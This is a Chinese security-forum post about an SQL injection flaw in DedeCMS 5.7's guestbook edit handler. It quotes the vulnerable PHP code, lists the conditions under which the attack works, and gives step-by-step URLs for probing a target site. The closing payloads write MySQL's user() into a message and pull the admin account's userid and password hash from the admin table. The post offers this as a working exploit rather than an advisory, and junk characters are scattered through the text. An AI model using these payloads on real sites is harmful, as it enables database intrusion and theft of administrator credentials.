找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3600|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
9 k4 C. i- |$ u. i) e# Z0 t0 \; q& S% P& M& m
漏洞文件edit.inc.php具体代码:
" V  m; [* T- J' t# e3 v0 t% x2 `0 g# t3 u9 |' [( Z9 H
< ?php  $ G5 p( J' C& H2 n- Z. H4 z" Y
' l1 f" z/ J8 X: u) l! q
if(!defined('DEDEINC')) exit('Request Error!');  
1 w7 J' b, ~$ s( S$ e" \
6 H$ w8 Z9 W( F2 f   / B2 x; G! n' v% p: N: o
* w  q% g1 @3 Y) w" B' m# _9 O
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  8 u* A6 n( a+ b0 v

" P' R7 _% Y- {4 Velse $GUEST_BOOK_POS = "guestbook.php";  
3 d9 O8 s. f; D8 L7 Z; h) T+ E: ^  H
   
1 @7 b+ S) W8 A; M7 O7 }' _! G7 B4 e, m' g( W
$id = intval($id);  
+ q! f5 a8 ~# x9 H
2 v+ R4 G2 \% nif(empty($job)) $job='view';  ! T2 S6 _* I& M! V5 ]

8 ~% P3 Y5 n  ~6 n2 c: ]   . C$ W! q( E/ i' \; ^9 y" f+ i
% q$ {* T& N7 _
if($job=='del' && $g_isadmin)  
0 K1 ?" H  ]% ]" J
8 }* j2 r% Q$ U7 q- Y{  
9 C9 B- G3 x+ H  x/ ~
, _$ O; e- G  U6 N3 h% J5 r$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
, ^- w% Y4 D. a# K
$ a9 F# g3 \; nShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  # r  r# s% ~( F  J7 T# {: d9 t
5 H0 p- x) g8 r3 r+ Z7 E
exit();  * P/ Z' y- o% e$ d, c

$ S: p8 a% w1 z- R) L% a& P( c5 \}  
2 \% B" J0 b" C* b7 |
+ i1 q) b  [9 Gelse if($job=='check' && $g_isadmin)  1 i. s+ N6 t1 K

+ x, Z# v6 w; M2 L3 M( j5 d) ^7 E{  
- o9 i# `" ^% f6 q; w) ~" l0 H0 K4 G$ w* Y3 f- r/ W! p! C: e
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
5 [1 `/ S8 R# W9 D/ z/ r5 {' E; n/ E  E* |
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  3 n1 Q3 a. S9 F( w5 V; N# ^' N

/ l" ~  ], Q9 j  L# cexit();  
# H+ ?9 [. v8 F0 s7 s% p. _$ w9 F& [9 F7 r7 x8 |; B
}  
( K8 |3 Y2 z1 ]+ R6 O  G: s- ?) v' A' c3 a
else if($job=='editok')  
9 M* m/ V2 U2 f+ c0 ]
0 P. D7 ~$ d3 k7 Y7 M3 F+ f) Y7 T{  
6 [) D) j% [8 v3 `7 Z8 r9 f6 ^7 Q0 ^- M' ~, w8 l
$remsg = trim($remsg);  
+ w: s: Z- L7 U; u1 a8 z- b. f9 U! P' M2 l0 c6 f/ ~
if($remsg!='')  - t- i8 U# ?- l) s
1 Z9 l! d# j9 V5 g4 N$ i
{  
9 d( m4 e  F( I, y4 D& G" Z* K. s8 |
//管理员回复不过滤HTML By:Errorera blog:errs.cc  3 o, v' {* g, ~; U+ f

+ Y6 f6 \7 N. _if($g_isadmin)  ( z2 L! E4 G. z+ ^

2 e) H& }' Y' [" g! X{  
$ Z+ z3 a% G/ i( q2 |6 ~" O- l3 k
' ~6 J9 W9 z5 F5 x! R# P. f4 Y( O$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  4 }3 }; W2 J0 t" S( S5 t: x
9 A/ o$ ]0 U5 l% U8 Q8 s& \- n
//$remsg <br /><font color=red>管理员回复:</font> }  
4 x" p: k+ \$ h5 D% i  J+ |2 N/ z1 b; z+ D5 X( _5 Q+ Z" ]& Q. q
else 9 _2 Z; N! r( f

' {" y5 i* Z. `{  
' x0 V4 w  @% [
* r# z6 Q2 b* i! o/ ]0 C9 H$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
, J2 u) O8 f) o0 `
0 e! k( _2 }1 a$ |, T0 \; L1 a$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
" A: O* q. N/ d$ y# u
3 r1 ^( n% }2 ^* ~& C! z# {( k3 q$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  4 |) t% F: M; m2 D6 R

4 p3 w# ~6 \8 e5 n/ u" M$msg = $oldmsg.$remsg;  
1 |: ]; \/ S# y* k) e; Z; S6 }7 o+ D7 N) G! H, e8 ~
}  ( p  l& R9 @0 F7 s9 o6 [
( J% r3 M* g9 x! f0 n) \
}  ! I* P8 Y9 s' N+ b

0 ]/ h+ m: F; d; q; Q//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
6 G" O9 Q0 ^3 [/ Z
) w) h: s7 z2 Q  o& E7 u/ C  O. [- g0 ?$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
0 s: d/ |; N! `0 }$ _$ `' _" i4 h* z' Z" L1 [) S7 l
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
# }5 C9 w0 x( Z
1 C) [- c1 _0 B' ~' m$ Vexit();  
  M* G! M& D- K, n5 Q) Z
( Q6 J: ?3 G( ]* j) g}  * m. B! h( `# i3 t

( C: e) f( r! p$ V/ [/ p2 o//home:www.errs.cc  5 b& M/ w6 A0 B6 @! I+ R( \

- p* T, S& n7 X: jif($g_isadmin)  
, \, k# X* D4 R2 o" G
8 _6 t0 l5 Y, B{  + ]7 V# O3 N/ D
3 i/ W% U6 R# w: |' d6 h
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
* A/ c; A& S+ U' P4 ^& s% \9 p# d! e! [7 |1 ^* l8 M5 R
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  6 `* O4 U4 z  p0 ^$ C( \
2 {% T* _& Q3 _: a3 G; Z; Y. z5 g
}  . E7 C, X+ k4 s8 R! ~% J* T
  W  v& }6 O  E
else
! g/ |$ d7 d% l8 Y+ a% r6 D3 o$ O( Y2 _7 b4 K) [4 o0 [
{  
6 U5 e& t- ^+ j) h1 P2 S6 L, k1 R1 I2 {
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
6 O, M% _4 X/ f. Z) v* P# y* B8 F
/ I& h& W+ x4 F0 u# N8 `6 o3 \require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
6 {; x- z/ k7 Y; m6 X9 K: \; Q4 c7 A. Z2 I# Y0 u, n4 ?# E" L
} 漏洞成功需要条件:- A8 E$ V: b4 p+ A+ Z
1. php magic_quotes_gpc=off9 Q  O+ s" ^& x9 k9 z. S1 t
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。7 G; l3 l+ l7 e3 m$ G5 ^; _

7 X) [$ h1 a. L6 `! f' `' w7 y怎么判断是否存在漏洞:; V  ?4 @) U# b: ~- i
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,  K3 `' A  y; O! ~/ c2 M' @0 |
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
7 B4 v4 S/ r7 v9 n+ r+ X/ X! Q* O% E9 \访问:
! {7 ]% l7 G' {: r) h( Y1 W$ y% W" h  p4 f. R% u1 |9 D
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
& C. @! v. m( u9 k) `跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
# d" t. [* c3 J  Z  m
( D3 ]9 h7 i' _9 e
4 I3 r, f% C1 g3 |# j8 Y9 F明漏洞无法利用应为他开启了 php magic_quotes_gpc=off" t' J! S7 N" X; T
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。! U+ c: _' ~5 \) K
那么再次访问
9 m. z$ m, M7 Z$ U4 q# `1 T) R0 V1 H, a) r4 A
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user()./ |3 v9 t. L- v
; |6 m) ?8 q* M( r$ R4 Z
大概利用就是这样,大家有兴趣的多研究下!!$ f5 Y; k6 ]6 ?4 A$ e; \& N

2 K/ |' J' e! r8 ^9 t1 P+ f, s最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
. a# _( p  H. j4 \/ n) @* ], I0 b, o" z1 A' o7 c# \) r/ q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表